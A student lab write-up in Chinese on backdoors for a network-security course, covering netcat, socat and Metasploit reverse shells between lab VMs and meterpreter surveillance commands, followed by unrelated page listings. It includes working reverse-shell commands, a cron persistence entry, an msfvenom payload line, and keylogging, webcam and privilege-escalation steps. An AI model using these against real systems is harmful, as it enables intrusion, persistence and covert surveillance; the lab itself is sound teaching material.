20155208徐子涵《网络对抗》Exp2 后门原理与实践

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:当我们在非官方网站上下载软件时,后门极有可能会进入我们的系统,或者我们的电脑插入陌生可疑的U盘时,也有可能会让某些后门乘虚而入。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:可能会通过反弹和windows计划任务(这个是看老师的实验指导后知道的)。

(3)Meterpreter有哪些给你印像深刻的功能?

答: 我觉得让我印象最深刻的是操纵对方的摄像头进行拍照和录像(但是我的虚拟机里没有摄像头驱动,没有成功实现)。

(4)如何发现自己有系统有没有被安装后门?

我觉得可以通过查看后台进程,看看有没有可疑的进程。

实验内容

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

Linux获得Windows Shell

  • 首先通过ipconfig指令获取windows主机IP

  • 然后使用nc指令监听5208端口:

    nc -l -p 5208

  • 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5208端口:

  • 连接成功如下,可以运行指令

一、使用netcat获取主机操作Shell,cron启动

cron:

cron是一个linux下 的定时执行工具 ,可以在无需人工干预的情况下运行作业。

crontab -u //设定某个用户的cron服务,一般root 用户在执行 这个命令的时候需要此参数

crontab -l //列出某个用户cron服务的详细内容

crontab -r //删除 没个用户的cron服务

crontab -e //编辑某个用户的cron服务
  • 在windows上打开cmd,并通过ncat开放端口5208

  • 在linux上反弹连接win:nc 192.168.88.130 5208 -e /bin/sh

  • 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

  • crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行

  • 在最后一行添加55 * * * * /bin/netcat 192.168.88.130 5208 -e /bin/sh,意思是在每个小时的第37分钟反向连接Windows主机的5208端口,设置成37的原因是我当时的时间是20点53,为了能立马看到效果,所以我将时间设置在了两分钟以后:

  • 当时间到了20点55时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了55分时会立马显示出来):

使用socat获取主机操作Shell, 任务计划启动

  • 下载安装socat软件

  • 为其配置环境变量

  • 在windows上开放5208端口,并把cmd的stderr重定向到stdout

  • socat tcp-listen:5208 exec:cmd,pty,stderr

    在linux开启监听:socat - tcp:192.168.88.130:5208

  • 成功连接到kali虚拟机如图:

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 输入指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.130 LPORT=5208 -f exe > 20155208_backdoor.exe

生成后门程序如图:

  • 通过nc指令将生成的后门程序传送到Windows主机上

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

  • 设置完成后,执行监听:

  • 然后打开Windows上的后门程序

  • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频:

  • 使用webcam_snap指令可以使用摄像头进行拍照

  • 使用webcam stream指令可以使用摄像头进行录像

    (由于我的虚拟机中没有摄像头的驱动,故没有完成这一环节的操作,非常遗憾。)

  • 使用screenshot指令可以进行截屏:



  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

先使用getuid指令查看当前用户,使用getsystem指令进行提权

实验过程中遇到的问题及解决

问题: 使用socat的时候连接不成功。

解决方式: 出现这一问题的原因是在设置管理工具中的触发器时出现了错误。

实验心得总结

经过了这次实验,让我对后门的概念有了一定的理解,也让我对网络攻防产生了更大的兴趣,从另一方面看,我们在日常使用计算机的时候,也要时刻注意不能让后门程序乘虚而入,时刻关注自己的计算机安全。

20155208徐子涵《网络对抗》Exp2 后门原理与实践的更多相关文章

  1. 20155323刘威良 网络对抗 Exp2 后门原理与实践

    20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  2. 20155331 丹增旦达 网络攻防 Exp2后门原理与实践

    20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155302 Exp2 后门原理与实践

    20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  5. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  6. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  9. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

随机推荐

  1. Python新手入门英文词汇(1-1)

    英文词汇总结一.交互式环境与print输出 1.print:打印/输出2.coding:编码3.syntax:语法4.error:错误5.invalid:无效6.identifier:名称/标识符7. ...

  2. build tool 的简单认知

    Build Tool 什么是Build Tool(构建工具)? 构建工具是从源代码自动创建可执行应用程序的程序(例如.apk for android app).构建包括将代码编译,链接和打包成可用或可 ...

  3. 变量和关系符和JAVA基本类型笔记与常考面试题

    变量的类型:数值型:整型(byte,short,int,long).浮点型(float,double)非数值型:布尔类型(boolean),字符型(char),字符串类型(String),其他引用型 ...

  4. Redis setnx命令 分布式缓存

    setnx命令 将 key 的值设为 value,当且仅当 key 不存在. 若给定的 key 已经存在,则 SETNX 不做任何动作. SETNX 是SET if Not eXists的简写. re ...

  5. visual studio中csproj文件中的project guid改为小写

    安装了vs2019之后,发现有的项目中引用的其他项目的源码,但是无法识别了. 最后发现是因为project guid是大写导致的. https://stackoverflow.com/question ...

  6. Kaggel比赛 : [Give Me Some Credit]

    通过预测在未来两年内某人将经历财务困境的可能性,改善信用评分的状态. Description 银行在市场经济中扮演着至关重要的角色.他们决定谁可以获得融资,以及什么条件,可以做出或破坏投资决策.为了让 ...

  7. 没有显示器、网线、路由器,编辑TF卡连接树莓派

    只有电脑,连接树莓派的方法 电脑新建热点 打开TF卡,在根目录新建文件wpa_supplicant.conf,内容如下 country=GB ctrl_interface=DIR=/var/run/w ...

  8. 【Luogu P2664】树上游戏

    Problem Description \(lrb\) 有一棵树,树的每个节点有个颜色.给一个长度为 \(n\) 的颜色序列,定义 \(s(i,j)\) 为 \(i\) 到 \(j\) 的颜色数量.以 ...

  9. python学习-----协程

    一.协程的引入 对于单线程下,我们不可避免程序中出现io操作,但如果我们能在自己的程序中(即用户程序级别,而非操作系统级别)控制单线程下的多个任务能在一个任务遇到io阻塞时就切换到另外一个任务去计算, ...

  10. windows同时安装了两种jdk

    因为某种需要,同时安装jdk1.8 和jdk1.7 因为电脑曾经安装了jdk1.8,并且已经设置好环境变量.后来新添加的jdk1.7 出现问题: 先是安装的1.8,之后有安装了1.7,在环境变量中也配 ...